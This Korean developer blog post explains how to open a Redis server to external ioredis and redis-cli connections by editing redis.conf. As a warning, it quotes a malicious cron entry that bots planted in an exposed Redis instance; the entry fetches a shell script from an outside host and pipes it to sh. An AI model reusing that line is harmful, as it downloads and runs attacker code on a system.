Roothyo
루시오의 Devlog
Roothyo
전체 방문자
오늘
어제
  • 분류 전체보기 (92)
    • ComputerScience (56)
      • 자료구조 (1)
      • 알고리즘 (6)
      • 네트워크 (12)
      • 코딩테스트 (34)
      • AI & ML (1)
      • BlockChain (1)
      • Security (1)
    • Programming Language (8)
      • JavaScript (8)
      • Python (0)
    • 서비스개발(Web, App) (18)
      • Front-End (2)
      • Back-End (8)
      • Cloud Server (2)
      • DevOps (4)
    • 프로젝트 (9)
      • UNY (4)
      • ThrowOrNot (4)
      • MoA (1)
    • 잡담 (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • Python
  • node.js
  • github
  • OpenVidu
  • Socket.io
  • vmap
  • 비디오광고
  • Redis
  • 백준
  • level2
  • 네트워크
  • 프로그래머스
  • 네트워크공부
  • TLS
  • 완전탐색
  • FRONT-END
  • chat
  • 코딩테스트
  • js
  • JavaScript
  • nodejs
  • Python3
  • 애자일프로젝트
  • Nest.js
  • VPAID
  • 코테
  • 클라우드서버
  • Node
  • Vast
  • 알고리즘

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
Roothyo

루시오의 Devlog

서비스개발(Web, App)/Back-End

Node.js ioredis(Redis) 외부 접속

2021. 8. 19. 14:03

socket io를 사용한 채팅서버 개발중에 local과 server에서의 db를 통합시키기 위해서,

 

ioredis로 외부 접속을 하기 위한 방법에 대해 정리하기 위하여, 포스팅을 한다.

 

먼저 로컬에서 Redis 인스턴스를 선언하는 부분이다.

const Redis = require("ioredis");
const redisClient = new Redis({
    host: 'Domain or IP',
    port: port,
});

module.exports = redisClient;

host 부분에 도메인 혹은 IP를 입력하고

port 부분에 열린 port를 넣어주면 된다.

 

그리고 Redis의 config도 바꿔주어야 한다.

/etc/redis/redis.conf 파일을 수정해준다.

 

#bind 127.0.0.1 :: 1
bind 0.0.0.0

#port 6379
port ????
# ????대신에 custom port를 지정하세요


# requirepass password (auth 처리)
requirepass password

 

파일을 수정하고 나면, service를 restart 해준다.

$ sudo service redis-server restart

 

 

* port를 Redis 기본 포트인 6379를 열게 되면, 봇들에 의해서, 해킹이 되는 것 같다.

 

기존에 생성한 데이터가 없어지고, redis의 key가 backup1, backup2 ... 하고 만들어지면, 

127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"

이런식의 경우가 생긴다.

 

따라서 보안조치를 더욱 철저히 해야함을 느낀다.

계정 설정이나, 방화벽 설정을 잘 해야할 것 같다.

 

 

외부에서 redis-cli로 접근하기 위해서는 아래 명령어로 접근하면 된다.

redis-cli
 -h : host ip address
 -p : port number
 -a : password

redis-cli -h 127.0.0.1 -p 6379 -a mysupersecretpassword

 

redis-cli에서 암호가 설정되어 있는 경우

암호가 설정이 되어있는경우 Error가 발생되며 인증이 필요하다고 알려준다.((error) NOAUTH Authentication required.)

127.0.0.1:6379 > auth password

를 통해 들어가면 된다.

 


출처: https://info-lab.tistory.com/92 [:: IT School ::]

'서비스개발(Web, App) > Back-End' 카테고리의 다른 글

Nest JS 프레임워크 공부하기 (Node.js) - 2  (0) 2022.01.03
Nest JS 프레임워크 공부하기 (Node.js) - 1  (0) 2022.01.02
Nest JS 프레임워크 공부하기 (Node.js) - 0  (0) 2022.01.02
socket.io에서 사용되는 Redis (Pub/Sub 구조)  (0) 2021.08.09
Redis란?? (Redis 정의 및 설명)  (0) 2021.08.09
    '서비스개발(Web, App)/Back-End' 카테고리의 다른 글
    • Nest JS 프레임워크 공부하기 (Node.js) - 1
    • Nest JS 프레임워크 공부하기 (Node.js) - 0
    • socket.io에서 사용되는 Redis (Pub/Sub 구조)
    • Redis란?? (Redis 정의 및 설명)
    Roothyo
    Roothyo
    개발 관련 지식 포스팅/ 잡담 블로그 입니다. 반갑습니다! (github : https://github.com/geun9716)

    티스토리툴바